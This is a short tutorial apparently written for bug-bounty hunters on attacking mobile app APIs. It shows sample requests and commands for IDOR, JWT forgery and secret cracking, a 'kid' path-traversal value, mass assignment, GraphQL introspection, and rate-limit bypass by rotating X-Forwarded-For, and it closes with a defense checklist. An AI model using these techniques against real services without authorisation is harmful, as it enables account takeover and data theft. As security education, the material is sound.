Web Exploitation for Mobile: API Hacking, IDOR & JWT Attacks

By Security Research Team | Intermediate

TL;DR:#app Mobile apps communicate exclusively through APIs, making them highly susceptible to web-level attacks. We cover IDOR, JWT manipulation, mass assignment, GraphQL introspection, and rate-limiting bypasses.

1. IDOR (Insecure Direct Object Reference)

The #1 vulnerability in mobile APIs. The app sends a user ID or resource ID in the request, and the server fails to verify ownership.

GET /api/v1/users/profile?user_id=12345 HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

# Attacker modifies:
GET /api/v1/users/profile?user_id=12346 HTTP/1.1

# If server returns user 12346's data without checking JWT ownership: IDOR!

2. JWT Attacks

Attack	Method
alg=none	Change alg to none, remove signature
Weak HMAC secret	hashcat -m 16500 jwt.txt rockyou.txt
JWK injection	Insert jwk header with attacker's public key
KID injection	Set kid: ../../dev/null to bypass verification

3. Mass Assignment

POST /api/v1/user/update HTTP/1.1
{
  "name": "John",
  "email": "john@example.com",
  "role": "admin",      # extra field!
  "balance": 1000000,   # extra field!
  "isVerified": true    # extra field!
}

4. GraphQL Introspection

query { __schema { types { name fields { name } } } }
# Automated:
graphql-map --url https://api.target.com/graphql --depth 3

5. Rate Limiting & OTP Bruteforce

Mobile login endpoints often have no rate limiting, enabling OTP bruteforce (4-6 digit codes), credential stuffing, and password spraying. Some apps rate-limit per IP but not per session token — rotating X-Forwarded-For can bypass.

---

Defense Checklist

• Authorization check on every resource access, not just authentication
• Use RS256 JWT with short expiry (15 min), refresh tokens in HttpOnly cookies
• Whitelist fields for mass assignment (use DTOs, not domain models)
• Disable GraphQL introspection in production
• Rate limit by user ID + IP + device fingerprint, not IP alone

Tags: #API_Hacking #IDOR #JWT #GraphQL #BugBounty